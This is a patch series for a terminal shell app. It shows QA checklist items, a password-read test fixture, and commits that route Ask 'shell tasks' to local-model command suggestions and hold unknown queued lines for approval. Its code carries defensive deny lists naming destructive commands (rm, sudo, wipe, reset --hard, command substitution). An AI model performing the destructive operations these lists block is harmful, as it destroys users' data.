*new file*; type two lines with Enter and a Tab, Ctrl+S says - *Saved*, Esc returns to the composer, `cat -A notes.txt` shows the tab and a final newline. -- [ ] 3.2 Shift+arrows, Shift+Alt+arrows and Cmd+Shift+arrows select; typing replaces the selection; Ctrl+C copies - and Ctrl+X cuts it (paste it back with the terminal's paste); Ctrl+Z undoes a typed word in one step, Ctrl+Y redoes. -- [ ] 3.3 Ctrl+F finds (lowercase ignores case), Enter again finds the next match. -- [ ] 3.4 Edit, then Esc: the question offers Save, Discard changes and Keep editing; each does what it says. -- [ ] 3.5 Conflict: `/edit notes.txt`, change it from another terminal (`echo x >> notes.txt`), then Ctrl+S: nothing is - written until you choose; Overwrite writes yours, Reload shows theirs. -- [ ] 3.6 A CRLF file with a BOM keeps both after saving (`xxd file | head -1`); `chmod 640` survives a save; editing - through a symlink keeps the symlink. -- [ ] 3.7 Refusals: a binary (`/edit /bin/ls`), a root-owned file (`/edit /etc/hosts`), a 2 MB file, a read-only file - (`chmod 444`) each explain why, and `/view` still opens them. -- [ ] 3.8 `e` in `/view README.md` opens the editor on the same file; `vim notes.txt` and `nano notes.txt` still run as - usual from the composer. -- [ ] 3.9 A new file in a folder reached through a symlink (macOS `/tmp`, or `alias -> real`): `/edit alias/new.txt`, - type a line, Ctrl+S, type another, Ctrl+S: *Saved* both times and no conflict question (#425); `real/new.txt` has - both lines. - -## 4. Semantic Output - -- [ ] 4.1 `npm test` in the NMSh checkout (long, passing): one overview row under the command (`✔ node --test · … passed · - 0 failed …`) above the folded output; nothing else changed; the lifecycle row appears once. -- [ ] 4.2 A failing run (break one test): the overview says how many failed and a details row lists the failing tests; - details are open when the output is folded, closed when it is expanded; clicking the row and Actions → Show or hide - details toggle it; Ctrl+O still folds only the raw output. -- [ ] 4.3 `npx tsc --noEmit` with an error, `cargo build` with an error, `make` of a C file with an error: a - diagnostics overview with `file:line:col` items. -- [ ] 4.4 `git status`, `ls`, `cat README.md`: no overview. -- [ ] 4.5 `/copy --semantic` and `/copy --both` on the failing run (paste into an editor); `/copy latest` is the raw - output only; find (Ctrl+F) never matches the overview text. -- [ ] 4.6 Settings → Transcript → Semantic Output Off: the rows disappear from every block; On brings them back. -- [ ] 4.7 `NO_COLOR=1` and Safe glyphs: the overview reads `+`/`x` and stays readable at 40 columns. - -## 5. `/track` - -- [ ] 5.1 `/track df -h` and (where Docker runs) `/track --every 5s -- docker system df`: one block, a status row and the - result; it updates in place every interval while you run other commands; scrolling up and selecting text in other - blocks is never disturbed. -- [ ] 5.2 Make the result shorter and longer (`/track --every 2s -- cat f.txt` while editing `f.txt`): shorter results - do not move what is below; longer ones say how many lines are not shown. -- [ ] 5.3 `/track refresh` twice quickly: the second is refused, never overlapped. `/track pause`, `/track resume`. -- [ ] 5.4 A failing command (`/track --every 2s -- ls missing`): the status shows the exit code, never a healthy result. -- [ ] 5.5 `/track copy` copies only the latest result; find (Ctrl+F) never matches the live rows. -- [ ] 5.6 `/track stop`: the last result appears once in the transcript; `/resume` of the saved session shows it - without any per-refresh copies. -- [ ] 5.7 An unknown command asks for Yes first ("Track …?"); `rm`, `sudo`, `cd`, `$(...)`, `&` and heredocs are - refused. Also refused: `/track echo x > /tmp/t 2>/dev/null`, `/track git log --output=/tmp/t`, `/track npx jest -u`. - Asks first: `/track env ls`, `/track curl -X POST http://localhost:1/`, `/track npm publish`, `/track ssh localhost - true`. Starts at once: `/track npm test 2>&1`, `/track curl -s http://localhost:1/` (fails, shows the exit code). -- [ ] 5.8 Close the window with a tracker running: no `sh` or command processes are left (`ps`). `/watch git status` - still opens its manager. -- [ ] 5.9 Four trackers at once (`ls`, `df -h`, `cat f.txt`, a failing one): each block refreshes on its own, the - composer area shows one `4 trackers · 1 failing` row, narrowing the window to 60 columns and back keeps every block - readable, and `/track stop all` leaves each last result once. -- [ ] 5.10 `/track --every 2s -- sh -c 'trap "" TERM; exec >/dev/null 2>&1; exec sleep 300'` (Yes), then `/track stop`: - within 3 seconds `pgrep -f "sleep 300"` finds nothing. -- [ ] 5.11 Safe glyphs (Settings → Appearance) and `NO_COLOR=1`: the status marks are ASCII (`*`, `=`, `#`) and the - status still says live, paused or stopped in words. - -## 6. Native modules and diagnostics - -- [ ] 6.1 In a folder with `bun.lock` and `"packageManager": "bun@1.1.30"`, `/modules` recommends Bun; enabled, typing - `bun` shows its version (requested, and active when installed through Homebrew). -- [ ] 6.2 `nix-shell -p hello` (or `nix develop`) with the Nix shell module enabled: it shows `impure`; it disappears - after `exit`. -- [ ] 6.3 In a Docker or Podman container (or a Codespace), the container module names it; on the host it shows nothing. -- [ ] 6.4 `/modules explain` lists every configured module with its surface and reason; `/modules timings` lists the - slowest collections; neither changes what is collected (the Status Strip CPU stays as it was). -- [ ] 6.5 Route three modules to the Context Rail (Modules → Surface), narrow the window until one disappears, then run - `/modules explain`: that module says "left out for width in the last frame"; widen the window and run it again: the - note is gone. The same with the Status Strip. - -## 7. Theme families - -- [ ] 7.1 `/theme`: the Built-in list shows Ayu, Kanagawa, Everforest, Flexoki and Night Owl; `/` then `kanagawa` leaves - three; `/` then `light` leaves the light variants; Esc clears the filter, Esc again closes. -- [ ] 7.2 Activate each new variant on a dark terminal: prompt fills, branch, status, selection band and transcript - chrome are readable; module text stays readable on every fill. -- [ ] 7.3 Activate the light variants (Ayu Light, Kanagawa Lotus, Everforest Light, Flexoki Light, Light Owl) on a light - and on a dark terminal: accents and rules change, NMSh's text tiers stay readable. -- [ ] 7.4 `NO_COLOR=1` and a 256-color terminal (`TERM=xterm-256color`, no `COLORTERM`): nothing breaks. -- [ ] 7.5 Switching themes never changes Ghostty's or Terminal.app's own colors or configuration files; a config saved - with an older theme id still loads that theme. - -## 8. History browsing (#389) - -Run a multi-line command (Ctrl+J between lines, for example `echo one` Ctrl+J `echo two`) and a few one-line ones. - -- [ ] 8.1 From an empty composer, Up recalls the newest; each further Up moves one command, passing the multi-line one in - one press; Down comes back the same way; Down past the newest restores what you had typed. -- [ ] 8.2 Recall the multi-line command, press Left (or type a character), then Up: the caret moves within it. -- [ ] 8.3 Narrow window (about 46 columns) with a long one-line command: one press per entry. -- [ ] 8.4 While stepping, the bottom composer rule shows `History 1/N` for the newest, counting up as you go back. It - disappears when you type, move the caret or go past the newest. No row is added and nothing moves. -- [ ] 8.5 With `/awake` on, Keep Awake keeps its place; the label is on the other rule or not shown. In a window of about - 30 columns, and with Settings → Composer dividers Off, no label appears and nothing wraps. -- [ ] 8.6 Light and dark themes: the label is readable. Up while a command runs recalls into the composer for the next - command, never into the running program. - -## 9. Passwords and replies while a command runs (#426) - -Replies are made-up words, never a real password (except 9.7, which is your own `sudo`). Fish forms: `read reply` for -`read -r reply`, `read --silent reply` for `read -s`. - -- [ ] 9.1 `read -r reply; echo got=$reply`. Type `hello` and Enter **at once**, without waiting: `got=hello`, the status - row never shows `queued`. -- [ ] 9.2 The same after a two-second pause: same result. -- [ ] 9.3 `read -rs reply` (no prompt). Type `QSECRETQ` and Enter at once: the text never appears anywhere on screen - and nothing is queued. -- [ ] 9.4 `sleep 5`, then type `echo next` and Enter at once: it is queued (`≡ 1 queued`) and runs after `sleep`. -- [ ] 9.5 Load: in a second window run something heavy (a large build or test suite, or several at once), then repeat 9.1 - and 9.3 a few times. The composer may briefly say `Checking whether … is waiting for input · your typing is kept`; - either way the answer reaches the read and nothing is shown or queued. Ctrl+C right after typing during that note - interrupts the command and discards the held typing. If NMSh still cannot tell after about five seconds, the row says - `Can't tell whether … is reading your typing · held, not shown` and the composer offers `Ctrl+S sends it to … · Tab - shows it · Esc discards it`: Ctrl+S sends it to the program, Tab shows it unsent, Esc discards it; nothing held runs - as a shell command without one of these. Note whether the notes appeared (not expected on a lightly loaded machine). -- [ ] 9.6 `sh input/prompted.sh`: `QA password:` shows, typing shows nothing, Enter prints `got N characters`. Type - `echo after` and Enter at once: it runs once as the next command (or, if the composer says `… held, not run · Tab - shows it · Esc discards it`, Tab shows it and Enter runs it once). -- [ ] 9.7 `sudo -k true`: the password never appears on screen or in the queue; a wrong password and the retry behave - the same. Ctrl+C at the password prompt returns to the composer with nothing queued. -- [ ] 9.8 (zsh, Bash) `bash input/two-passwords.sh`: type `X` and Enter as soon as it starts (no prompt is shown); while - it waits 3 s, type a second word and Enter before NMSh says it is waiting again. That word is shown and queued (NMSh - could not know); when the second read starts, a note says the command queued while it ran waits for your approval. - Type the second word again and Enter: `lengths …` prints and the queued entry does not run. Delete it in `/queue`. -- [ ] 9.9 (zsh, Bash) `bash input/second-gives-up.sh`: type `X`, Enter, and at once a second word and Enter. Whatever the - timing, the second word is never shown, queued or run: the second read takes it (`lengths 1/…`), or a note says it - was discarded, not run, or the composer says `Typed during bash's hidden input · held, not run · Tab shows it · Esc - discards it` (Esc discards it with a note; Tab would show it in the composer, unsent). -- [ ] 9.10 `sh input/plain-read.sh`: type `hello` and Enter at once: `reply was hello`, nothing queued. -- [ ] 9.11 Afterwards, `fc -ln -15` (Bash: `history | tail -15`; Fish: `history | head -15`): no word typed as a reply - appears, only the commands you ran. - -## 10. Prompt hooks and Ctrl+C (#436) - -- [ ] 10.1 `sleep 30`, press Ctrl+C, then **at once** type `echo after` and Enter: `after` is printed exactly once, as its - own command. Nothing is queued forever and nothing is taken as an answer. -- [ ] 10.2 A program that asks just before it is interrupted: `read -r x` (Fish: `read x`), Ctrl+C, then at once `echo - after` Enter: same result. -- [ ] 10.3 A slow prompt hook, for this session only. zsh: `source input/slow-hook.zsh`. Bash 5.1+: `source - input/slow-hook.bash`. Fish: `function qa_slow --on-event fish_prompt; sleep 2; end`. Then run `true` and, while the - next prompt is still coming, type `echo after` and Enter: it runs once, whole (never `cho after` or `command not - found`), after the hook, and is never shown as an answer to a waiting program. Repeat a few times, also under load (as - in 9.5). Undo the hook as its file says (Fish: `functions -e qa_slow`). - -## 11. Editors (#366) - -`view/notes.txt` has 400 lines. - -- [ ] 11.1 With `EDITOR=nvim` (or `vim`) set as usual: `/view view/notes.txt`, `:200` Enter, `o`. The viewer closes and - the composer holds `nvim +200 /…/notes.txt` (nothing runs). Enter opens the editor at line 200; quitting it returns - to NMSh's composer. -- [ ] 11.2 While a command runs: `sleep 20`, then `/view view/notes.txt`, `o`. The editor command is placed in the - composer; Enter queues it (`≡ 1 queued`) and the editor opens after `sleep` ends. -- [ ] 11.3 A name with spaces: `printf 'x\n' > 'my notes.txt'`, `/view my notes.txt` (the rest of the line is the path, - no quotes), `o`: the composer command quotes the path as one argument. -- [ ] 11.4 Markdown: `/view view/README.md` (rendered), `o` opens at the start; after `m` (source) it opens at the line - shown. In a window of about 46 columns the footer wraps and `Esc close` stays visible. -- [ ] 11.5 With `VISUAL` and `EDITOR` unset (`nmsh-noeditor`), outside any editor: `o` says no editor is known and how to - set one, and `/open view/notes.txt:3` names the terminal editors installed here. -- [ ] 11.6 Inside Zed's or VS Code's integrated terminal: `o` opens the file at the line in that editor; the viewer stays. -- 11.7 Not a physical item: a draft already in the composer is never replaced by `o`, but opening `/view` empties the - composer, so only the automated tests reach that case. -- [ ] 11.8 (`nmsh-noeditor`) Settings → Sessions → Terminal editor (also Setup → Sessions & alerts → Terminal editor): - Neovim, Helix, Micro, Vim, nano, Emacs and Kakoune, with the installed ones marked; the highlighted one previews the - exact command. Choosing one that is not installed is refused, and nothing is installed. Choose one that is installed. -- [ ] 11.9 (`nmsh-noeditor`) `/open view/notes.txt:3:2` puts its command in the composer at the right line (and column - where the editor supports it); nothing runs until Enter. Quitting the editor returns to NMSh. -- [ ] 11.10 (`nmsh-noeditor`) In `/view view/notes.txt`, `o` uses the chosen editor. -- [ ] 11.11 Inside Zed's or VS Code's integrated terminal, the surrounding editor still wins over the chosen one. - -## 12. Ask command suggestions (#432) - -Needs a local model in `/llm` (the QA configuration starts without one; `~/.local/share/nmsh/models` already holds one). - -- [ ] 12.1 With Settings → Ask → Command suggestions Off (the default), `/btw convert every png here to webp` behaves as - before: no model is asked. -- [ ] 12.2 Set Command suggestions to Local model (Settings, or Setup → Ask & local understanding). The same request - shows one suggested command with `NMSh's check: …` first, then the model's words in quotes with its name. There is - Copy and Insert, never Run. -- [ ] 12.3 Insert puts the command in the composer, unsent; Enter runs it. Copy runs nothing. -- [ ] 12.4 `/btw delete all my files` stays a refusal; no suggestion is offered. -- [ ] 12.5 With local understanding Off in `/llm`, the suggestion attempt says how to turn it on. Ask's own suggestions - are still offered. -- [ ] 12.6 Activity Monitor: no new long-lived process appears beyond the shared model service while suggestions are on. - -## 13. Session lifecycle - -- [ ] 13.1 Run `sleep 60`, close the window, and launch the QA build again: it offers the detached session; R resumes it - with `sleep` still running and its block intact; Ctrl+C ends it. -- [ ] 13.2 With `/track --every 2s -- sh -c 'echo QA-LIFE'` running (Yes), `exit`: in a plain window `pgrep -fl QA-LIFE` - prints nothing. -- [ ] 13.3 Two windows on two sessions of the QA build: typing, queues and held input in one never appear in the other. diff --git a/scripts/qa/v022-fixtures.sh b/scripts/qa/v022-fixtures.sh index 107d58eb..ebf337e9 100755 --- a/scripts/qa/v022-fixtures.sh +++ b/scripts/qa/v022-fixtures.sh @@ -50,6 +50,14 @@ cat > "$work/input/plain-read.sh" <<'EOF' # A line read with no prompt. read -r reply; printf 'reply was %s\n' "$reply" EOF +cat > "$work/input/delayed-prompt.sh" <<'EOF' +#!/bin/sh +# As sudo does: two seconds of work, then a prompt and a read with echo off. Type before the prompt appears. +sleep 2 +printf 'QA-Password: ' +stty -echo; IFS= read -r secret; stty echo; printf '\n' +printf 'got %s characters\n' "${#secret}" +EOF chmod +x "$work/input/"*.sh # 10. Prompt hooks (#436): source it in a session to make that session's prompt hook take 2 seconds. From f3b4baa27548e091394758c6f38bc0b8684db269 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 17:02:25 +0530 Subject: [PATCH 083/157] Ask: a shell task reaches command suggestions, not the nearest capability (QA F04) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Physical QA (A12, Ghostty zsh, 68c1cbb7): with Command suggestions set to Local model and Qwen3 0.6B running, `/btw convert every png here to webp` showed the folder listing instead of a suggestion. Reproduced with that model through the real Ask path: Ask's resolver had no notion of a shell task, so it called the request unclear; Auto then let the intent model read it, which answered {"capability":"files.list","confidence":0.99999}, and NMSh answered that capability's canonical "list files". Suggestions only follow what Ask cannot place, so the step never ran. "rename all .jpeg files to .jpg" became "Install which shell?" the same way. The existing test stubbed the intent model to say nothing, which hid it. - Ask recognises shell tasks it has no capability for: changing files in bulk (convert, resize, rename, "turn X into Y"…) and finding them by size, age, duplicates or a count. It says it does not run these itself; archives keep their recipes and destructive requests stay refusals. - A refusal or such an answer is never re-read by the intent model, in Auto or Always. Always could also turn "delete all my files" into a file listing. - Suggestions Off: the answer says where Command suggestions are. A model that declines is named ("suggested no command for this") instead of the answer silently falling back. Tests: tests/askCommandSuggestionsApp.test.ts, the QA model's own answer as the intent stub, Auto and Always, nine safe tasks, and NMSh's own nouns (branch, pane, session, theme) never taken for shell tasks. --- src/app/TerminalApp.ts | 14 +++- src/ask/resolver.ts | 22 +++++- src/ask/types.ts | 3 +- tests/askCommandSuggestionsApp.test.ts | 102 ++++++++++++++++++++++++- 4 files changed, 133 insertions(+), 8 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 2cf3ca81..0c14293c 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -9736,15 +9736,19 @@ export class TerminalApp { */ private async resolveAsk(text: string, state: AskState): Promise<AskOutcome> { const outcome = await this.resolveAskOwn(text, state); - if ((outcome.kind !== 'unclear' && outcome.kind !== 'unsupported') || this.promptConfiguration.askCommandSuggestions !== 'local' || this.askState !== state) return outcome; + if (outcome.kind !== 'unclear' && outcome.kind !== 'unsupported') return outcome; + if (this.promptConfiguration.askCommandSuggestions !== 'local' || this.askState !== state) { + return outcome.kind === 'unsupported' && outcome.shellTask + ? {...outcome, text: `${outcome.text}\nCommand suggestions (Settings → Ask) can suggest one command from your local model for you to check.`} : outcome; + } if (this.askStage) this.setAskStage('Asking your local model for a command'); const result = await this.understanding.suggestCommand({text, shell: this.shellId, os: process.platform === 'darwin' ? 'macOS' : 'Linux'}); if (this.askState !== state) return outcome; const next = outcome.kind === 'unclear' ? outcome.categories : undefined; if ('unavailable' in result) return {kind: 'answer', capability: 'help.command', text: result.unavailable, ...(next?.length ? {next} : {})}; - // The model declined: Ask's own answer stands. - if (!result.suggestion) return outcome; const model = this.configuration.localUnderstanding.model?.label ?? 'local model'; + // The model declined: Ask's own answer stands, saying so. + if (!result.suggestion) return {...outcome, text: `Your local model (${model}) suggested no command for this. ${outcome.text}`}; return {kind: 'answer', capability: 'help.command', text: 'A suggested command, for you to check before running it yourself.', block: suggestionBlock(result.suggestion, model)}; } @@ -9756,7 +9760,9 @@ export class TerminalApp { const files = systemFileAssistEnvironment(homedir(), context.repoRoot, resolveCommand('python3'), process.execPath, name => resolveCommand(name), commands.install); const deterministic = resolveRequest(text, context, {rejected: state.rejected}, commands, files); const deterministicRoute = () => { this.understanding.lastRoute = {route: 'deterministic', at: Date.now()}; return deterministic; }; - if (!this.understanding.eligible('ask')) return deterministicRoute(); + // A refusal, or something Ask does not do (a shell task), is an answer, not uncertainty: in any mode the intent + // model never re-reads it into the nearest capability it was offered (QA F04). + if (!this.understanding.eligible('ask') || deterministic.kind === 'unsafe' || deterministic.kind === 'unsupported') return deterministicRoute(); // Auto: deterministic first; the model only when it is unsure. Always: the model first, still feeding deterministic builders. const unsure = deterministic.kind === 'unclear' || (deterministic.kind === 'choose' && deterministic.reason === 'ambiguous'); if (!this.understanding.prefersModel && !unsure) return deterministicRoute(); diff --git a/src/ask/resolver.ts b/src/ask/resolver.ts index 8080de29..82d6dee1 100644 --- a/src/ask/resolver.ts +++ b/src/ask/resolver.ts @@ -5,7 +5,7 @@ import type {ShellId} from '../shell/adapters/ShellAdapter.js'; import {CLEAR_LEAD, matchFiles} from './files.js'; import {resolveGit} from './gitAssist.js'; import {browseOutcome, resolveFiles} from './fileAssist.js'; -import {resolveRecipe} from './recipes.js'; +import {matchRecipe, resolveRecipe} from './recipes.js'; import {resolveProject} from './project.js'; import {resolveLocalModel} from './localModel.js'; import {resolveWatch} from './watchAssist.js'; @@ -113,6 +113,23 @@ export const CAPABILITIES: readonly Capability[] = [ const UNSAFE = /\b(?:delete|remove|rm|wipe|erase|purge|destroy|nuke|reset --hard|hard reset|git reset|git clean|clean up untracked|force push|push|commit|chmod|chown|sudo|kill|uninstall|drop|format|overwrite|truncate|rewrite history|rebase|checkout --|discard)\b/u; /** Requests understood as writing or authoring, which Ask has no capability for. */ const AUTHORING = /\b(?:write|create|generate|make|build|compile|refactor|fix|implement|send|email|translate)\b/u; +/** + * Shell tasks Ask has no capability for (QA F04): changing files in bulk (convert, resize, rename…), or finding them by + * size, age or a count. Ask says so itself and never hands them to the optional intent model, which maps them to the + * nearest listed capability ("list files" for "convert every png here to webp"); with command suggestions on, the + * person's local model may suggest one command instead. Archives have recipes, and a destructive request stays a + * refusal (UNSAFE), so neither is matched here. + */ +const FILE_WORDS = String.raw`(?:files?|folders?|director(?:y|ies)|images?|photos?|pictures?|videos?|pngs?|jpe?gs?|gifs?|webps?|heics?|svgs?|pdfs?|csvs?|mp[34]s?|movs?|wavs?|logs?)`; +const SHELL_TASKS = [ + new RegExp(String.raw`^(?:(?:please|can you|could you|help me|i want to|i need to|how (?:do|can|would) i|how to)\s+)*(?:convert|resize|rename|crop|rotate|scale|shrink|optimi[sz]e|minify|transcode|encode|merge|combine|concatenate|split|dedupe|deduplicate|lowercase|uppercase)\b.*\b${FILE_WORDS}\b`, 'u'), + new RegExp(String.raw`^(?:please |can you |could you |help me )?turn (?:the |these |those |all |every |my )*(?:\w+ )?${FILE_WORDS} into\b`, 'u'), + new RegExp(String.raw`\b(?:duplicate|identical) ${FILE_WORDS}\b`, 'u'), + new RegExp(String.raw`\b${FILE_WORDS}\b.*\b(?:bigger|larger|smaller|older|newer) than\b|\b(?:biggest|largest|smallest|oldest|newest)\b.*\b${FILE_WORDS}\b`, 'u'), + new RegExp(String.raw`\b${FILE_WORDS}\b.*\b(?:changed|modified|edited|created) (?:in the last|since|today|yesterday|this week|last week)\b`, 'u'), + /^(?:please |how (?:do|can) i |how to )?count (?:the )?(?:lines|words|characters|files)\b/u, +]; +export const isShellTask = (text: string): boolean => !UNSAFE.test(text) && SHELL_TASKS.some(pattern => pattern.test(text)); /** Vague references that need context to resolve. */ const VAGUE = /\b(?:thing|that one|the old one|the other one|from earlier|earlier|before|previous one|last one|it again)\b/u; @@ -199,6 +216,9 @@ function resolveExact(raw: string, context: AskContext, state: ResolveState = {} // Homebrew from its own facts; install/upgrade/uninstall are typed proposals behind the final Yes. const packages = resolvePackage(text, context); if (packages) return packages; + if (isShellTask(text) && !matchRecipe(text)) { + return {kind: 'unsupported', shellTask: true, text: 'Ask doesn\'t run shell tasks like this one itself; it finds, opens, shows and switches things in NMSh.'}; + } // Config files and verified edits (resolve → inspect → plan → preview → confirm); removal is answered, never planned. // "find files named config" is a file search, not a config request. if (/^(?:please )?(?:find|locate|search for|look for|show(?: me)?|list)\b.*\b(?:files?|folders?)\s+(?:named|called|matching)\b/u.test(text)) { diff --git a/src/ask/types.ts b/src/ask/types.ts index cce643e5..213feb9d 100644 --- a/src/ask/types.ts +++ b/src/ask/types.ts @@ -159,7 +159,8 @@ export type AskOutcome = direct?: boolean} | {kind: 'answer'; capability: CapabilityId; text: string; follow?: AskOption; block?: CommandBlock; next?: AskOption[]; referents?: AskReferents} | {kind: 'choose'; reason: 'ambiguous' | 'missing'; capability?: CapabilityId; question: string; options: AskOption[]; referents?: AskReferents} - | {kind: 'unsupported'; text: string; alternative?: AskOption} + /** shellTask: a task for a shell command (QA F04), which command suggestions may help with. */ + | {kind: 'unsupported'; text: string; alternative?: AskOption; shellTask?: true} | {kind: 'unsafe'; text: string; alternative?: AskOption; referents?: AskReferents} | {kind: 'unclear'; text: string; categories: AskOption[]}; diff --git a/tests/askCommandSuggestionsApp.test.ts b/tests/askCommandSuggestionsApp.test.ts index 8b7dde3c..38113500 100644 --- a/tests/askCommandSuggestionsApp.test.ts +++ b/tests/askCommandSuggestionsApp.test.ts @@ -16,13 +16,17 @@ function fixture() { const calls: CommandRequest[] = []; let reply: Awaited<ReturnType<typeof app['understanding']['suggestCommand']>> = {suggestion: {command: 'find . -type f -size +100M', explanation: 'Files over 100 MB here.'}}; app['understanding'].suggestCommand = async (request: CommandRequest) => { calls.push(request); return reply; }; - app['understanding'].interpretAsk = async () => undefined; + let intent: Awaited<ReturnType<typeof app['understanding']['interpretAsk']>> = undefined; + const intents: string[] = []; + app['understanding'].interpretAsk = async (request: {text: string}) => { intents.push(request.text); return intent; }; app['configuration'] = {...app['configuration'], localUnderstanding: {mode: 'auto', ask: true, folding: false, model: {label: 'Qwen3 0.6B', runtime: 'llama.cpp', path: '/m.gguf', owned: true}}}; const state = createAskState(); app['askState'] = state; const ask = (text: string) => app['resolveAsk'](text, state); - return {...frame, app, calls, state, ask, setReply: (value: typeof reply) => { reply = value; }, + return {...frame, app, calls, intents, state, ask, setReply: (value: typeof reply) => { reply = value; }, + setIntent: (value: typeof intent) => { intent = value; }, + setMode: (mode: 'auto' | 'always') => { app['configuration'] = {...app['configuration'], localUnderstanding: {...app['configuration'].localUnderstanding, mode}}; }, enable: () => { app['promptConfiguration'] = {...app['promptConfiguration'], askCommandSuggestions: 'local'}; }}; } @@ -95,3 +99,97 @@ test('a closed Ask never asks the model', async () => { assert.deepEqual(f.calls, []); } finally { f.dispose(); } }); + +/** + * QA F04 (v0.22 physical QA, A12): with the QA model (Qwen3 0.6B) running, `/btw convert every png here to webp` showed + * "Files · <folder>" instead of a suggestion. Reproduced with that model: Ask's own resolver called the request unclear, + * so the intent model read it, picked files.list ({"capability":"files.list","confidence":0.99999}), and NMSh answered + * its canonical "list files". The suggestion step only runs for what Ask cannot place, so it never ran. "rename all + * .jpeg files to .jpg" became "Install which shell?" the same way. A shell task (changing files, or finding them by size + * or age) is something Ask itself does not do: it says so, never hands the request to the intent model, and with + * suggestions on asks the person's model for one command instead. + */ +const SHELL_TASKS = ['convert every png here to webp', 'resize all jpgs in this folder to 800px', 'rename all .jpeg files to .jpg', + 'find files bigger than 100mb', 'show me the biggest folders here', 'count lines of typescript in src', 'which files changed in the last day', + 'turn these heic photos into jpgs', 'find duplicate files here']; + +for (const mode of ['auto', 'always'] as const) { + test(`F04 (${mode}): a shell task reaches command suggestions, whatever capability the intent model picks`, async () => { + const f = fixture(); + try { + f.enable(); + f.setMode(mode); + // What the QA model answered for the QA request. + f.setIntent({capability: 'files.list', confidence: 0.99999, arguments: {}}); + for (const text of SHELL_TASKS) { + const before = f.calls.length; + const outcome = await f.ask(text); + assert.ok(outcome.kind === 'answer' && outcome.block, `${text}: ${outcome.kind} ${'capability' in outcome ? outcome.capability : ''}`); + assert.equal(outcome.block.literal, 'find . -type f -size +100M', text); + assert.equal(outcome.block.run, undefined, 'never runnable from Ask'); + assert.equal(f.calls.length, before + 1, `${text}: the local model was asked for a command once`); + assert.equal(f.calls.at(-1)!.text, text); + } + assert.deepEqual(f.intents, [], 'a shell task is never re-read by the intent model'); + } finally { f.dispose(); } + }); +} + +test('F04: with suggestions Off, a shell task says Ask does not run it and where suggestions are; no model is asked', async () => { + const f = fixture(); + try { + f.setIntent({capability: 'files.list', confidence: 0.99999, arguments: {}}); + for (const text of SHELL_TASKS) { + const outcome = await f.ask(text); + assert.equal(outcome.kind, 'unsupported', text); + assert.ok(outcome.kind === 'unsupported'); + assert.match(outcome.text, /Ask doesn't run shell tasks/u, text); + assert.match(outcome.text, /Command suggestions/u, `${text}: says where suggestions are turned on`); + } + assert.deepEqual(f.calls, []); + assert.deepEqual(f.intents, []); + } finally { f.dispose(); } +}); + +test('F04: what Ask does itself is unchanged: archives, listing, finding by name, refusals', async () => { + const f = fixture(); + try { + f.enable(); + f.setIntent({capability: 'files.list', confidence: 0.99999, arguments: {}}); + const archive = await f.ask('compress the logs folder into a tarball'); + assert.ok(archive.kind === 'answer' && archive.block?.argv[0] === 'tar', 'the archive recipe still answers'); + const list = await f.ask('list files'); + assert.ok(list.kind !== 'unsupported' && 'capability' in list && list.capability === 'file.browse'); + const named = await f.ask('find files named package.json'); + assert.ok('capability' in named && named.capability === 'file.find', `find by name: ${named.kind}`); + // NMSh's own things share these verbs: a branch, a pane, a session or a setting is never a shell task. + for (const text of ['rename this branch to release', 'merge main into this branch', 'split the pane', 'turn off the input dividers', + 'show me the newest session', 'convert my theme to light', 'what files are in this folder']) { + const outcome = await f.ask(text); + assert.ok(!(outcome.kind === 'unsupported' && outcome.shellTask), `${text}: not a shell task`); + } + for (const mode of ['auto', 'always'] as const) { + f.setMode(mode); + assert.equal((await f.ask('delete all my files')).kind, 'unsafe', `${mode}: a refusal stands, whatever the intent model says`); + assert.equal((await f.ask('rename all my files to delete them')).kind, 'unsafe', `${mode}: a destructive shell task is refused, not suggested`); + } + assert.deepEqual(f.calls.map(call => call.text).filter(text => !/^(?:split the pane|convert my theme to light)$/u.test(text)), [], + 'none of these reach command suggestions (except what Ask itself says it cannot do)'); + } finally { f.dispose(); } +}); + +test('F04: a declined suggestion says the model had no command, and Ask\'s own answer follows', async () => { + const f = fixture(); + try { + f.enable(); + f.setReply({suggestion: null}); + const task = await f.ask('convert every png here to webp'); + assert.equal(task.kind, 'unsupported'); + assert.ok(task.kind === 'unsupported'); + assert.match(task.text, /^Your local model \(Qwen3 0\.6B\) suggested no command for this\./u); + const vague = await f.ask(VAGUE); + assert.ok(vague.kind === 'unclear'); + assert.match(vague.text, /^Your local model \(Qwen3 0\.6B\) suggested no command for this\./u); + assert.ok(vague.categories.length, 'what Ask can help with is still offered'); + } finally { f.dispose(); } +}); From 1972110c2d0573ddc80301555c8d5abbfd927c4e Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 17:14:04 +0530 Subject: [PATCH 084/157] Input ownership: a line queued during a command that is not a command waits for approval (#426) The documented #426 limit: a reply typed and entered before a question with no prompt exists is queued (nothing has asked yet). If that read gives up before any look sees it and the command succeeds, the entry ran as a shell command. Looks on a quiet command are seconds apart, and macOS cannot report a program's read at all, so a timed read is easily missed. Reproduced live in zsh, Bash and Fish with `sleep 2; perl -e 'alarm 1; <STDIN>'; true`: the typed "reply" ran and entered NMSh's journal (and so the shell's history and its "command not found" output). A line entered with a plain Enter while a command runs, whose first command word is not one this shell knows (alias, function, builtin, keyword, or an executable by path or on PATH, from the same classifier the highlighter uses), would only fail as a command. It now waits for approval and a note says why without repeating the text; an older session service without per-entry approval pauses the queue instead. Real commands typed ahead still run after the command, as before; Ctrl+Q stays an explicit "queue this command". The approval note for a question NMSh later sees still counts entries already waiting. Residual: a reply that is itself a command name ("yes") typed before an unseen timed read can still run; documented. Tests: inputOwnershipSecrets (residual case fails first; ordinary type-ahead unchanged), inputOwnershipSecretsLive (zsh, Bash, Fish; fails first on all three). Deterministic input, queue and paste suites 319/319. --- src/app/TerminalApp.ts | 38 +++++++++++++++--- tests/inputOwnershipSecrets.test.ts | 45 +++++++++++++++++++++ tests/inputOwnershipSecretsLive.test.ts | 52 +++++++++++++++++++++++++ 3 files changed, 129 insertions(+), 6 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 2cf3ca81..3ab1c16d 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -11757,8 +11757,13 @@ export class TerminalApp { 